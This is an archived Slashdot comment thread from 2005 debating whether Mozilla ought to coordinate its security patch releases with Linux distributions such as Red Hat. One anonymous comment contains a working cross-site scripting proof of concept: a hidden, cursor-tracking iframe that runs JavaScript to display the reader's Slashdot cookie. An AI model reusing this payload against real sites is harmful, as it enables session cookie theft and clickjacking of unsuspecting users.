Mozilla Uncooperative With OSS Groups on Security?

Secrecy? by lachlan76 · 2005-05-22 02:00 · Score: 4, Insightful

Sounds like the alleged rules involve keeping bugs secret until users of the code have updated it and/or changing their release cycle to accomodate this.

Re:Secrecy? by gclef · 2005-05-22 02:35 · Score: 5, Insightful

Honestly, Mozilla is in a lose/lose situation here.

If they hold on to fixes until all the distros are ready, they get beat up for slow patch times compared to MS. If they release immediately, they get beat up by the distros for not coordinating with them.

I think this is coming up because Moz is one of the first high-profile OSS projects to support both Linux/BSD and Windows. If this were (like most other Linux/BSD apps) an OSS-OS only app, then the lack of coordination would be a real issue. But, for the Windows folks, there isn't a distro to coordinate with, so Moz has to release as soon as possible. I'm with Moz on this, honestly.
Re:Secrecy? by Anonymous Coward · 2005-05-22 03:07 · Score: 0

Hmm. I'm affiliated with a security research group, and we are trying to test some intrusion detection software in a Linux Environment. In the interest o f testing our detection tools, we tried the officially posted description/exploit of the recent Firefox bugs (we use Fedora Core 2 as our testbed), with an appropriate firefox version installed. I don't know if that is a good thing. How can system administrators tell if they closed a hole if the exploit doesn't work when the hole is open? On the other hand, I guess if the exploit gets into the wild, there are problems as well. Shouldn't the Mozilla foundation vet the exploits they post?
Surprisingly, we could not get the exploit to work. In fact, one thing we've found is that in general almost none of the published vulnerabilities work in our default Fedora Core 2 install, with the vanilla 2.6.2 kernel installed. I'm not sure that exploits are vetted at all by the lists that post them.
Re:Secrecy? by Anonymous Coward · 2005-05-22 04:01 · Score: 0

Try this. If you see an alert with your Slashdot cookie, then you're vulnerable to the cross site scripting attack. <html><body>Click anywhere.<script language="JavaScript" type="text/javascript"> url='http://slashdot.org' ;function l(){c++;if (c==1)sc.focus();else if(c==2){sc.history.go( -1)}}f = '<iframe onload="l()" src="javascri'; f+= 'pt:\'<noscript>\'+eval(\'if (window.nam'; f+= 'e!=\\\'sc\\\'){window.name=\\\'sc\\\';}'; f+= 'else{alert(document.cookie);}\')+\'</no'; f+= 'script><a href=\\\''+url+'\\\' style=\\'; f+= '\'cursor:default;\\\'>  &nbsp'; f+= ';</\'+\'a>\'" id="targetframe" scrollin'; f+= 'g="no" frameborder="0" marginwidth="0" '; f+= 'marginheight="0" style="position:absolu'; f+= 'te;left:0px;height:6px;width:6px;margin'; f+= ':0px; padding:0px; -moz-opacity:0;"></i'; f+= 'frame>';document.write(f); document.onmousemove= function(e){ document.getElementById("target"+ "frame").style.left=(e.pageX-3)+ "px"; document.getElementById("target" +"frame").style.top= (e.pageY-3)+"px"}; c=0;</script></body></html>
Re:Secrecy? by gclef · 2005-05-22 04:03 · Score: 4, Informative

Why cant mozilla stop hiding bugs and marking vulnerabilities as secret in bugzilla? Open indeed...
I shouldn't respond to this troll, but I will.

Marking security-related bugs as secret is entirely appropriate. If the bug notes were public, they would serve as a blueprint to 0-day attacks on Mozilla, which the Moz folks are (rightly) attempting to prevent.

Attacking Mozilla for following standard security procedures for bugs is fucking childish.
Re:Secrecy? by SpaghettiPattern · 2005-05-22 04:16 · Score: 3, Insightful

If they hold on to fixes until all the distros are ready, they get beat up for slow patch times compared to MS. If they release immediately, they get beat up by the distros for not coordinating with them.

NO! Mozilla is responsible for its own releases and security updates and not for the distros'. Mozilla isn't there to make the life of Linux distros easy. The Linux distros must make security patches available ASAP.

--

I hadn't the slightest objection to his spending his time planning massacres for the bourgeoisie... (P.G. Wodehouse)
Re:Secrecy? by Chris+Snook · 2005-05-22 04:29 · Score: 2, Interesting

Sounds like the alleged rules involve keeping bugs secret until users of the code have updated it and/or changing their release cycle to accomodate this.

Nope. What happens is that everyone agrees to make full disclosure and a patch available at exactly the same time. Sure, this delays the patch slightly, but it keeps everyone on a level playing field for security, since it means that attentive sysadmins can read the advisory, determine if it applies to their systems, and have their machines patched within *minutes* of the announcement, no matter what OS/distribution they use. It's nothing like the "upgrade to the latest version and we'll tell you why in a few days" fiasco when the double-free bug was found in OpenSSH. Coordinated security updates also go through several vendors' (different) QA processes, greatly reducing the risk that the patch broke something else.

--
There's no failure quite as dissatisfying as a complete and total solution to the wrong problem.
Re:Secrecy? by gclef · 2005-05-22 04:38 · Score: 4, Insightful

I disagree. Completely. It's in the general interest of everyone for the app writers and the distros to work together...the goal, after all, is for the end user to get patches quickly, effectively, and *before* there's an exploit. A lot of the distros have central patch distribution systems...these systems are the best way to get patches to the end user for that distro.

If an app releases a bug fix without working with the distro, it leaves the end user there to get screwed...either they wait for their distro to get the patch put together (running vulnerable code the whole time), or they break their use of the patch distribution system (meaning they have to either re-patch once the vendor releases, or never follow the vendor patch system for that app again). This isn't a choice we want to be giving the users. The best result is *absolutely* a coordinated response, where the authors, the distros and the original reporter of the problem all release simultaneously.

That isn't possible in this case, since there's no distro to work with for Windows. Mozilla is, in this situation, choosing to minimize the risk for their Windows users (who likely far outnumber their OSS users), at the expense of the distro coordination. It's not a fun choice to make, but a sensible one, given their situation.
Re:Secrecy? by Kagenin · 2005-05-22 05:15 · Score: 2, Insightful

That was very well put. The Mozilla team has to put the Needs of the Many (their windows users) against the Needs of the Few (their OSS-OS users). There are a lot more Firefox/Windows users than Firefox/Linux.

Why should the Windows users have to wait for the latest distros to get released before they get to patch up a security hole? And how selfish do Linux distributers have to be to force the windows users to wait like that? Meanwhile, exploits abound, and all users get screwed.

Fuck the distros. Its their decision what goes in to their software packages. Why do they think they can impose their will upon the Mozilla team?

Kudos to the Moz team for sticking to their guns.

--
"All warfare is based on deception."
Sun Tzu, "The Art of War"
Re:Secrecy? by Anonymous Coward · 2005-05-22 05:23 · Score: 2, Insightful

Wrong!

By marking as secret they can decide that the security bug is too difficult to fix and use the 'security by obsurity' model. If the bug is open to the world, they have no choice but to fix it.

A solution may be allowing the secret designation to expire after 5 to 10 days. This gives the core developers time to fix the bug and if they can't then they show it to the world so it can be fixed.
Re:Secrecy? by Anonymous Coward · 2005-05-22 05:30 · Score: 0

Amen! Screw the distros, release patches ASAP and let the distros deal with it, users who have slow distros can compile from source if they're really worried.
Re:Secrecy? by Hatta · 2005-05-22 05:34 · Score: 2, Insightful
If an app releases a bug fix without working with the distro, it leaves the end user there to get screwed...either they wait for their distro to get the patch put together (running vulnerable code the whole time), or they break their use of the patch distribution system

Lets break this down:

If:
- App releases bug fix without waiting for distros, users can:
  - Install the vendors version early
  - Wait for the distro patch
- App waits for distros before releasing bug fix, users can:
  - Wait for the distro patch
So you see, releasing the patch early allows those technically savvy users who believe the risk is urgent enough to circumvent their package management system to do so. At the same time, it has absolutely no effect on the other users. They'll just wait for the distro patch anyway. It's not like releasing a bug fix early creates a vulnerability, or in any way damages the systems of those who don't use it.
--
Give me Classic Slashdot or give me death!
Re:Secrecy? by Compenguin · 2005-05-22 05:46 · Score: 1

There is plenty of time between the finalized X+0.0.1 code and the official release of it to work with the distros within the time table. Furhtermore it wouldn't be that hard to send out an impending security release notice to the distros as they are finalizing the release code.
Re:Secrecy? by gclef · 2005-05-22 05:58 · Score: 2, Informative

You left out a variable: time. Releasing early widens the amount of time that the users relying on the distro for the patch are vulnerable. There is tons of evidence that vulnerabilities are attacked more after release of a patch, or announcement of a vulnerability. (Not to say it doesn't happen before, just that it happens *more* afterwards.)

So, it's in the general interest to get as many people patched *quickly* once the public announcement is made. Vendor patch systems are the best way to do that.
Re:Secrecy? by Anonymous Coward · 2005-05-22 06:02 · Score: 0

Bugs frequently remain secret for weeks at a time, and there is one such bug reported over a year ago, and as yet remains unfixed.
Re:Secrecy? by TheDormouse · 2005-05-22 06:03 · Score: 1

Look at the freakin' source if you want to find the vulnerabilities yourself. Mozilla, and all open source software, has no requirement or duty to hold the bad guys' hands through the exploitation process.

Just because it's possible to shoplift from [insert your favorite store here] doesn't mean that the store has to put up a big sign describing how to subvert their inventory control measures.
Re:Secrecy? by TWX · 2005-05-22 06:22 · Score: 1

Why do you assume that they don't notify? They have forums and discussion groups and the like for the various developers to talk to each other, so if the distros are involved in that part of the process then they should have a fairly clear understanding of the timetable of the next update.

In some distributions like Debian, individual package maintainers or small teams of maintainers contribute new patches to 'stable' and new versions to 'unstable'. With individual people responsible for such it shouldn't theoretically be that difficult for that person in particular to keep tabs on what's going on with the software that they support.

--
Do not look into laser with remaining eye.
Re:Secrecy? by psyon1 · 2005-05-22 06:26 · Score: 3, Insightful

You're assuming the security hole is announced at the same time as the fix. This isnt always the case. In a case where an exploit is already known and possibly in use, it is always best to make a fixed version available, without waiting for the distros.
Re:Secrecy? by psyon1 · 2005-05-22 06:30 · Score: 3, Insightful

How do you pick what distros to work with? There are so many to choose from, do you just choose those who give you financial backing? Should the release time of distro A be forced to coincide with distro B? Should Red Hat and commercial vendors be in control?

I think they should release fixes as soon as a stable fix is available. Alot of people just use a distro for a base install, and then build apps from source, some even choose to do Linux From Scratch, its their choice. No one should be locked into Vendor/Distro release schedules if their not using their products.
Re:Secrecy? by steve_l · 2005-05-22 06:36 · Score: 1

Well, there is nothing wrong with having a select email list giving heads up warnings to key distributors. One per vendor, no favouritism among community (Debian) and commercial products, and relying on trust amongst participants.

I think products like Apache HTTPD work like this. Once you have a significant amount of market share, and a significant amount of redistribution, you need to take security more seriously.

Maybe this will mark a maturing of Mozilla. Till now firefox has relied on being "more secure than IE", which isnt really that hard to achieve. Now it has market share, it is vulnerable to zero day exploits -maybe more so, with all the source public. And that means the team needs to come up with a process that the redistributors and end users are happy with.

Hey, maybe the zero day exploits are our next metric of mozilla's popularity :)
Re:Secrecy? by arth1 · 2005-05-22 06:38 · Score: 1

I shouldn't respond to this troll, but I will.

Marking security-related bugs as secret is entirely appropriate. If the bug notes were public, they would serve as a blueprint to 0-day attacks on Mozilla, which the Moz folks are (rightly) attempting to prevent.

Attacking Mozilla for following standard security procedures for bugs is fucking childish.

The poster you replied to isn't trolling -- he's just thinking along different lines. Yes, you provide wannabe-hackers with "1-day" (not "0-day" as you say) exploit information by keeping security bug information public, but you also keep the users from being able to thwart real hackers by hiding the information. If there's a vulnerability in foo, I want to know about it, so I can take appropriate steps and precautions myself until a patch is available.

That it's not published on Bugzilla doesn't guarantee that hackers won't know about it.

Not informing about security problems until there's a fix is like if Ford didn't inform about an exploding tire problem until the dealers had stocked up on replacement tires. Oh, wait...

--
*Art
Re:Secrecy? by edbulldog · 2005-05-22 07:12 · Score: 0

Sure. Everyone knows how to defend themselves against hackers. Geez, everyone even knows hackers don't use a patch in the eye, have a parrot on their shoulder and can't make computers explode.
Re:Secrecy? by SpaghettiPattern · 2005-05-22 07:40 · Score: 1
Disclaimer: I don't mean to be patronizing but the comments I offer may sound harsh. Think of me an old fart but try to grasp something from the old fart.

I disagree. Completely. It's in the general interest of everyone for the app writers and the distros to work together...the goal, after all, is for the end user to get patches quickly, effectively, and *before* there's an exploit. A lot of the distros have central patch distribution systems...these systems are the best way to get patches to the end user for that distro.
This the typical geek-way of thinking. Love, peace, happiness, the age of Aquarius, people uniting, communicating, hugging etc... This is what I used to think when I was younger -geek I still am. Communicating and cooperating is very good but overdoing it almost always leads to inefficient processes. How do you expect dozens of distros to remain in close contact with Mozilla and with all other applications in the distros? You'll wind up with loads and loads of "coordinators" that walk around carrying briefcases and feeling important -the kind of people we geeks tend to loath. I see this every day in places where responsibilities are divided/assigned badly.

And, extrapolating until absurdity: Did it occur to you that end users are also part in the whole patch distribution. Should they also have a voice in the upgrade get-together?
1. Distros want to distribute Mozilla products? Fine, they'll have the responsibility -and hopefully the decency-to watch for (security) updates from Mozilla.
2. Mozilla discovers a problem and patches it as soon as it can and by point 1. the patch is distributed in the shortest time possible.
The organizations behind Linux distros and large applications like Mozilla tend to be large (and yes, I know how "large" the Slackware organization is) and therefor a challenge to manage. Don't expect these busy people to engage in time consuming coordination teams/fora/tea parties.

If an app releases a bug fix without working with the distro, it leaves the end user there to get screwed..
The end user really gets screwed if the release of a security patch is delayed by over-organization.
--

I hadn't the slightest objection to his spending his time planning massacres for the bourgeoisie... (P.G. Wodehouse)
Re:Secrecy? by benjamindees · 2005-05-22 08:02 · Score: 2, Insightful

Attacking Mozilla for following standard security procedures for bugs is fucking childish.

No, the fact that the most recent bugs were hidden for months and leaked along with an exploit is fucking childish.

Both RedHat and Mozilla have been trying this "hide all the bugs" crap for a while and it has resulted in worse security. And the only reason they're bitching at each other now is that each one wants to be the sole provider of updates. This is the kind of behaviour you would expect from Microsoft, not from open source.

--
"I assumed blithely that there were no elves out there in the darkness"
Re:Secrecy? by Trepalium · 2005-05-22 08:18 · Score: 1, Informative

I think you should've read the fine article:
Other projects make sure that the vendors know of a security vulnerability, supply the patch and new tarball (if applicable, which it is in mozilla.org's case), give a brief period of time for the vendors to catch up, and then do a synchronous release with them at a planned time.
I don't see any coordinators sitting around there. I see a patch, and a deadline. A simple invitation-only mailing list, with redistributors only invited to it, where messages go out outlining the discovered vulnerability, a patch that fixes it, and you have 3 business days to fix it because our release is set for today+3 days. Very few people are needed to organize this, and you can even be completely inflexable about the deadline. As long as the majority of participants are happy with the deadline policy, there is no need to cater to the minority that can't make it in time.
This isn't about communication making the world better. It's about a simple courtesy so you're not putting others in uncomfortable situations needlessly.

--
I used up all my sick days, so I'm calling in dead.
Re:Secrecy? by gclef · 2005-05-22 08:26 · Score: 0

News flash: this sort of coordination is already happening. The reason this is even a story is because Mozilla is breaking the norm. If there weren't a norm of cooperation, no one would care that Mozilla was going their own way. But, since they are breaking the norm, people are unhappy.

Have a look at BugTraq, FullDisclosure or other vuln discussion lists. When someone posts a vulnerability without notifying the vendor/author there are *very* snarky comments made about the responsibility of the post. The same thing happens when an (major) app releases a security fix without notifying the major distros.

Communication isn't optional anymore. Neither are the "coordinators" that you loathe.
Re:Secrecy? by kz45 · 2005-05-22 09:04 · Score: 1

I shouldn't respond to this troll, but I will.

Marking security-related bugs as secret is entirely appropriate. If the bug notes were public, they would serve as a blueprint to 0-day attacks on Mozilla, which the Moz folks are (rightly) attempting to prevent.

Attacking Mozilla for following standard security procedures for bugs is fucking childish.

sure, and how is this any different than Microsoft?
Re:Secrecy? by Anonymous Coward · 2005-05-22 09:34 · Score: 1, Insightful

Yes but its been said before and I will say it again that Moz is just not a Linux app. It works on alot of platforms. In fact, Linux/Firefox users are a small minority therefore using your logic

"As long as the majority of participants are happy with the deadline policy, there is no need to cater to the minority that can't make it in time."

you can ignore the minority linux users and release it as soon as possible to make all your BSD/Windows/Apple users happy. Your argument only works for Linux only apps.
Re:Secrecy? by Anonymous Coward · 2005-05-22 22:59 · Score: 0

"Standard security procedures"? Do you mean the Microsoft way of hiding the security hole until the patch is ready so that they can claim they fixed it in a couple of days, and at the same time giving black hats months to use the hole with the users unable to do anything to prevent it because the hole is hidden from them?

Assuming that hiding a hole will prevent black hats from gaining knowledge of it is based on the assumtption that one is smarter than every black hat in the world. A hint to everyone who relies on this policy: You are not. Somewhere there is some person who is smarter than you, and this person already found the bug. Since he didn't tell you, he is probably one of the bad guys.
Re:Secrecy? by Nailer · 2005-05-23 01:49 · Score: 1

If they hold on to fixes until all the distros are ready

Which is normally within 24 hours - and even be before moz.org has a tarball out if the distro chose to (and they know about the vuln).

If they release immediately, they get beat up by the distros for not coordinating with them.

And by the users, for making the world aware of an exploit they don't have up2dated packages for yet.

BTW, both sides of this argument are on Mozilla Core, one happens to also work for Red Hat.
Re:Secrecy? by LifesABeach · 2005-05-23 03:30 · Score: 1

My view point as a user of the Fire Fox product is simple. The bad guys make more money when help to the user is held back. I really like the idea of, "Safe By Default", when it comes to internet communications. With holding help, is not helping at all.
Re:Secrecy? by Infernal+Device · 2005-05-25 05:59 · Score: 1

Mozilla works with more than just Linux distros, though, so why should the rest of us be held back while distros get their act together?

--
"My God...it's full of trolls!"
Re:Secrecy? by Ash-Fox · 2005-05-25 10:19 · Score: 1

That's bugs, not security issues.

--
Change is certain; progress is not obligatory.
Re:Secrecy? by Ash-Fox · 2005-05-25 10:21 · Score: 1

A little fix to Hatta's options:

Mozilla releases bug fix without waiting for distros, users can:
o Install the venders version using the auto updater
o Compile the venders version
o Wait for distro patch

--
Change is certain; progress is not obligatory.

Why is this a bad things? by afd8856 · 2005-05-22 02:03 · Score: 5, Interesting

They may want to release the updates earlier, without waiting for whatever linux/bsd distro to updated their packages.

And it seems fair to me. If I run fedora, for example, if I'm concerned about security, I can always download and install their binary package. Because, for example, I couldn't find an updated rpm for firefox 1.0.4 (only a spec file)

--
I'll do the stupid thing first and then you shy people follow...

Re:Why is this a bad things? by Anonymous Coward · 2005-05-22 03:38 · Score: 0

It's a bad thing becuase there are other browsers based on Mozilla which should be updated at the very same time (e.g. Galeon). The solution is simple. Refuse to deal with the mozilla project directly, or if you do, make sure you always inform the other projects equally. This is not ideal since another project might leak first, but if Mozilla can't find a way to cooperate with the others, it's the best way.
Re:Why is this a bad things? by Anonymous Coward · 2005-05-22 04:10 · Score: 0

Why would you leave a hole open longer than necessary? The bug reports regarding the vulnerabilities were not opened to the public until days after the Mozilla release. The information about the vulnerabilities had leaked through other channels and was widely available. Who would extend the exposure of the primary product to published exploits just so other vendors don't look bad?
Re:Why is this a bad things? by ufnoise · 2005-05-22 04:46 · Score: 1

This is a perfect way to end up in rpm hell.

If you try to remove the firefox rpm, rpm will complain about dependency problems from tools which rely on firefox.

If you force the uninstall, you need to make sure firefox is installed where the other tools can find the firefox libraries.

I end up keeping the old rpms installed, but running the binary directory from the install directory. Any apps running off the old firefox libraries are unsafe. This is ok with me, since I don't use any of those programs. Unfortunately I can't remove those programs without breaking some other dependency.
Re:Why is this a bad things? by afd8856 · 2005-05-22 05:26 · Score: 1

I'm sorry for my ignorance, but what other apps are dependent on firefox libraries?

--
I'll do the stupid thing first and then you shy people follow...
Re:Why is this a bad things? by Compenguin · 2005-05-22 07:24 · Score: 1

> I'm sorry for my ignorance, but what other apps are dependent on firefox libraries?

yelp is, gnome is in the process of phasing out their gtkhtml widget with gecko

As well, some build epiphany/galeon against firefox. Firefox continues to make these necessary by not playing well on a multiuser system
Re:Why is this a bad things? by duffbeer703 · 2005-05-25 05:52 · Score: 1

The problem is that informing all of these derivative projects of the security breach, and consulting or assisting them just doesn't scale.

Galeon, Epiphany, etc will always be playing catch-up because their code is based on Mozilla... that's the nature of the beast.

Remember how nobody here could understand why Apple wouldn't use Gecko as the basis of their browser?

This is precisely why -- Apple didn't want to be playing catch-up every few weeks/months.

--
Conformity is the jailer of freedom and enemy of growth. -JFK

Nor should it have to. by Trillan · 2005-05-22 02:03 · Score: 5, Insightful

Priorities are not the same all over, and Mozilla should be focused on supporting their users. Those several days of warning are extra days of end-user vulnerability. As a Firefox user, I would feel my trust was misplaced if they did something else..

One other comment:

indirectly -- it still displays their branding

Correct me if I'm wrong, but other builds are not supposed to use Mozilla's branding anyway. The PowerPC G4-optimized build of Firefox contains only compiler/linker changes, and apparently can not use the same icon.

Re:Nor should it have to. by deadmantyping · 2005-05-22 02:20 · Score: 2, Insightful

I agree that Mozilla should support their users and not wait to supply updates just so that other Mozilla based browsers can update simultaneously. Although, it would certainly be great to let these other projects know about the vulnerability and make the update available to them, but waiting to update their own product is bad for their own users.
Re:Nor should it have to. by cuntzilla · 2005-05-22 02:27 · Score: 3, Insightful

it would certainly be great to let these other projects know about the vulnerability and make the update available to them

If its a 0day vulnerability letting other distros know in advance would be putting the vulnerability into the wild for any script kiddie to play with.

waiting to update their own product is bad for their own users

Exactly. If someone forks or uses open source code its a lot to ask the people who made the original trunk to take care for all. Share knowledge yes, but to do the job of someone else who took it apon themselves to branch... no.
Re:Nor should it have to. by molnarcs · 2005-05-22 03:25 · Score: 1

Correct me if I'm wrong, but other builds are not supposed to use Mozilla's branding anyway.
You are more or less correct ... it depends on how close the compile flags a distro uses are to those used by the mozilla project. They don't need to match one by one, they just need to be close enough (so I can imagine that a simple i686 optimized build with -O will pass - see this email.)
Re:Nor should it have to. by Anonymous Coward · 2005-05-22 03:57 · Score: 0

I don't understand this. Mozilla is distributed with a tri-license, including the GPL. The GPL demands that recipients of the source can redistribute in compiled form, with or without changes. There is no "logos must be removed" clause in the GPL. On the contrary: The GPL specifically stipulates that additional restrictions on redistribution are not acceptable. Why would that not collide with the exclusive approach to branding?
Re:Nor should it have to. by Trillan · 2005-05-22 09:34 · Score: 1

Well, first, I expect people who fork get several emails even if there is a security issue. Even if the emails are not from Mozilla. Secondly, how much effort does it take to watch Mozilla's RSS feed?

Sorry, but this seems an awful lot like whining to me.
Re:Nor should it have to. by Trillan · 2005-05-22 20:41 · Score: 1

Firefox is a trademark. Thus, distributing custom builds using the logos is a violation of trademarks, GPL or no. GPL covers copyright law, it does not cover trademark law.

I'm not sure I agree with this... by Rantastic · 2005-05-22 02:04 · Score: 4, Interesting

Other projects make sure that the vendors know of a security vulnerability, supply the patch and new tarball (if applicable, which it is in mozilla.org's case), give a brief period of time for the vendors to catch up, and then do a synchronous release with them at a planned time.

Ok, I do agree that OSS projects should supply security patches when they have them, and new releases as well, but what good does it do to let the vendors at them first?

Why should end users not be offered the same patches as soon as they are ready? If it takes a vendor 24 hours to get a new package out, that sounds reason able to me, but again, why limit access to the update for that 24 hours?

--
Ask Slashdot: Where bad ideas meet poor googling skills.

Re:I'm not sure I agree with this... by Rantastic · 2005-05-22 02:09 · Score: 4, Insightful

Just to clarify:
I am saying that if Red Hat expects OSS projects to sit on security updates until Red Hat has a new package ready, that is just plain rude.

Are all users not equal in the eyes of Free software? We should all be able to have a crack at the security update as soon as it is ready. Some of us do in fact maintain our own packages. Why should we be forced to wait?

--
Ask Slashdot: Where bad ideas meet poor googling skills.
Re:I'm not sure I agree with this... by Husgaard · 2005-05-22 02:19 · Score: 5, Interesting

I understand why Mozilla does not want to delay security updates. Of course Redhat would like that at it would look like they are less behind on security updates.
Unfortunately it looks like Redhat has persuaded other Open Source projects to delay their security updates.

And now Redhat is using these other Open Source projects to attempt to pressure Mozilla into also delaying their security updates by claiming that Mozilla doesn't play by the rules.

Shame on Redhat.
Re:I'm not sure I agree with this... by zerbot · 2005-05-22 02:20 · Score: 1, Interesting

Holding back by a few hours until vendors can merge the fixes with any customizations they have done actually equalizes the users, in that all end users have access to the fixes for their particular build at the same time, regardless of where they get their builds from. If Redhat discovered a security flaw, patched it themselves and then released their fixed version without giving the mozilla people time to patch and QA, people would be screaming bloody murder.
Re:I'm not sure I agree with this... by ProfaneBaby · 2005-05-22 02:24 · Score: 3, Insightful

Why should end users not be offered the same patches as soon as they are ready? If it takes a vendor 24 hours to get a new package out, that sounds reason able to me, but again, why limit access to the update for that 24 hours?

Just speaking to the theory here, once the 'end users' are notified of the hole, it's reasonable to assume that 'someone' is going to reverse engineer an exploit out of the patch.

On very large holes, the coordinated release allows the largest possible user base to have an upgrade path by the time the hole is made public. If all users were notified as soon as a source patch was released, but the source patch didn't apply directly to distribution X because of local changes to the codebase, a malicious user could (and will) create and circulate an exploit before that group can create a patch.

Note that the security community does not agree here. When OpenSSH had a massive hole, Theo went mailing-list to mailing-list telling people a workaround, and coordinated a very large release of information on a specific day. When DJB's students come out with their list of new exploits every year, they release them all on a webpage with zero notice to ANYONE, including the software vendors involved.

It's a matter of philosophy - are you in the game to protect the most people, or are you managing your software and letting other people worry about their users? I personally don't have a problem with Mozilla's practices - they still beat some other vendors, even if they're not as 'responsible' as the OpenSSH crowd.

--
Video Phone Blogs send video messages straight to the web.
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 02:24 · Score: 0

I agree with you, it defies common sense to wait till the vendor gets their redist ready. In fact, SuSE still hasn't released a QA approved 1.04 version yet. This after more than a week since 1.04 came out! I finally got fed up waiting and removed the SuSE version and installed the Mozilla update.
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 02:26 · Score: 1, Insightful

Holding back by a few hours until vendors can merge the fixes with any customizations they have done actually equalizes the users, in that all end users have access to the fixes for their particular build at the same time, regardless of where they get their builds from.

1. Why make them all equal to the worst?

2. So Mozilla wait for Red Hat, I guess Red Hat have to wait for White Box? Does White Box have to wait for anyone who bases their product off of White Box? Seems to me we could all be waiting forever.
Re:I'm not sure I agree with this... by swillden · 2005-05-22 02:30 · Score: 2, Informative

If Redhat discovered a security flaw, patched it themselves and then released their fixed version without giving the mozilla people time to patch and QA, people would be screaming bloody murder.

What? Can you point out one instance of this happening, ever? Distributions release fixes all the time without waiting for the application team to apply and test the patches.

--
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
Re:I'm not sure I agree with this... by Serpent+Mage · 2005-05-22 02:42 · Score: 1

Nobody has yet to scream bloody murder that I'm aware of. I'm not a redhat user so I can't say if they do this or not but Debian, Ubuntu, and Gentoo make changes all the time especially to firefox (i can only presume mozilla as well but have not had that installed since the 1.3 days).

And yes every now and then they are security patches as well not just a "replaced firefox icon with debian ugly looking all-blue firefox icon" or "patched to work better with tls support" type things.
Re:I'm not sure I agree with this... by kfg · 2005-05-22 02:49 · Score: 1, Insightful

Holding back by a few hours until vendors can merge the fixes with any customizations they have done actually equalizes the users. . .

No, it egalitarianises the users. You can try to make a case for that if you want, but if that's what I wanted I likely wouldn't be running Linux in the first place.

KFG
Re:I'm not sure I agree with this... by petermgreen · 2005-05-22 03:06 · Score: 2, Informative

so if you think a project will unreasonablly delay responding to a security bug just cc Full-Disclosure@lists.netsys.com when you report it.

--
note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 03:22 · Score: 0

If Redhat discovered a security flaw, patched it themselves and then released their fixed version without giving the mozilla people time to patch and QA, people would be screaming bloody murder.

Dude, you are clueless. Open mouth, insert foot. This happens all the time. Every distribution routinely patches security holes in the software, sometimes without alerting the original authors at all.

This is a prime example of why, unless you actually know what you are talking about, you should just keep your mouth shut. Your comment got modded up by other clueless people who assumed you knew what you were talking about, and will make other clueless people think that Mozilla is actually in the wrong here.

Please, can a few sane moderators mod this guy down to -1, or at least mod up some of the informed rebuttals.

And zerbot, don't contribute if you're just going to be talking out your ass. Sheesh.
Re:I'm not sure I agree with this... by mabhatter654 · 2005-05-22 03:46 · Score: 1

But why is it the Moz developer's job to support every possible external combination? The REAL question to ask is why the default linux build DOESN'T work on your custom distro...
If Red Hat is tweaking the hell out of firefox, why are they not rolling the patches back to the moz devs so the default works as quickly as possible? Of course the moz developers can't support every patch they get... so you'd have to accept that you may be choosing to keep YOUR distro incompatible... with the stock release.
Re:I'm not sure I agree with this... by zerbot · 2005-05-22 03:47 · Score: 2, Interesting

I'm sure you have an example of a vulnerability not yet exploited in the wild that was patched and released by one distro without notification and coordination with the other distros.

Mozilla was not wrong to release this fix as soon as they had it ready, as the vulnerability had already been publicized. However, security fixes for vulnerabilities that don't have known exploits in the wild should be coordinated.
Re:I'm not sure I agree with this... by irc.goatse.cx+troll · 2005-05-22 03:51 · Score: 1

It's a slipperly slope that Theo fell down years ago.

Where do you draw the line of how long you wait? A day? A week? A month? As many months as it takes debian to ship with it?
Once everyone's shipping with it, why announce it and make your product look bad? Why not keep it quiet since everyones shipping a patched version anyways? (See: Most major OpenBSD holes over the last 4 years)

--
Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
Re:I'm not sure I agree with this... by gclef · 2005-05-22 03:57 · Score: 1

Actually, coordinated releases are fairly common in the security world. It's not RedHat, it's everyone. These days, it's seen as irresponsible to release a security-related bug without giving the automated patching systems a chance to prepare (or the vendor a chance to respond). The idea is to minimize the time between the announcement of a bug, and the end-users getting patched.

The problem here isn't that practice. The problem is, a huge chunk of Moz's users are not using a distro's central patch system, since they're using Windows. In that situation, the argument for coordinating loses a lot of strength.
Re:I'm not sure I agree with this... by zerbot · 2005-05-22 03:58 · Score: 1

For end user software like Mozilla, the changes would be very small and likely deal with filesystem layout differences. I mostly deal with server packages, where the different distros not only have differences in filesystem layout, but also differences in daemon scripts, log locations, log rotation, privilege levels, etc. When fixes come out, the last thing I want to be doing is sweating over whether I'm getting hacked while I review the patch. I cannot take down the DNS or mail server or whatever down while I take a few hours to review, patch, compile, and QA, and I can't keep an eye on intrusion attempts while I'm doing that either.
Re:I'm not sure I agree with this... by LnxAddct · 2005-05-22 04:01 · Score: 2, Interesting

Err... actually this whole everyone releases together is a common thing in OSS and it keeps the projects happy with each other. Red Hat writes a lot of code that gets put back into the official firefox build as well as alot of other OSS projects, including security fixes. Red Hat doesn't just release their security patches and then let the other projects know about them (thus putting firefox behind). They make sure that everyone is caught up, all of which can usually be achieved in about a 12-24 hour period which is fine. This isn't just something Red Hat does, all the major OSS projects do it, it actually takes some effort but as long as everyone follows these rules it works nicely. Mozilla would be screaming bloody murder if Red Hat released a security fix for firefox without letting the official firefox team in on the patch before it was relased. Red Hat does alot of active development and its not exactly fair that anything they fix they send to Mozilla and wait for Mozilla to officially release, but anything that Mozilla releases they just don't care about the many vendors who constantly do QA, coding, and security for Mozilla. Higher threads were talking about user/vendor equality, but vendors do alot more for mozilla then most users. Noone is complaining about Mozilla's security policy, just how it is ironic that if all the vendors started collaborating together and lets say Novell and Red Hat released a version of firefox to their users that they fixed so that their end users get the fix as fast as possible and then they let mozilla know about it, mozilla would be freaking the hell out. All the vendors are asking is that mozilla give them the same courtesy that they give to mozilla.
Regards,
Steve
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 04:25 · Score: 0

The OpenBSD team frequently brags when they've already fixed an exploitable hole that is bothering everyone else. However, that's a little different because OBSD isn't shy about forking code.
Re:I'm not sure I agree with this... by Samhain · 2005-05-22 04:38 · Score: 1

That would be a fork and people would be rightly upset.

Please remember Mozilla is the root of the tree. RedHat's packaged version is just a branch. This is an important distinction.

Updates need to flow in the correct direction.
Re:I'm not sure I agree with this... by Anonymous Coward · 2005-05-22 04:39 · Score: 1, Insightful

I have no idea what point you're trying to make, but either way you are wrong.

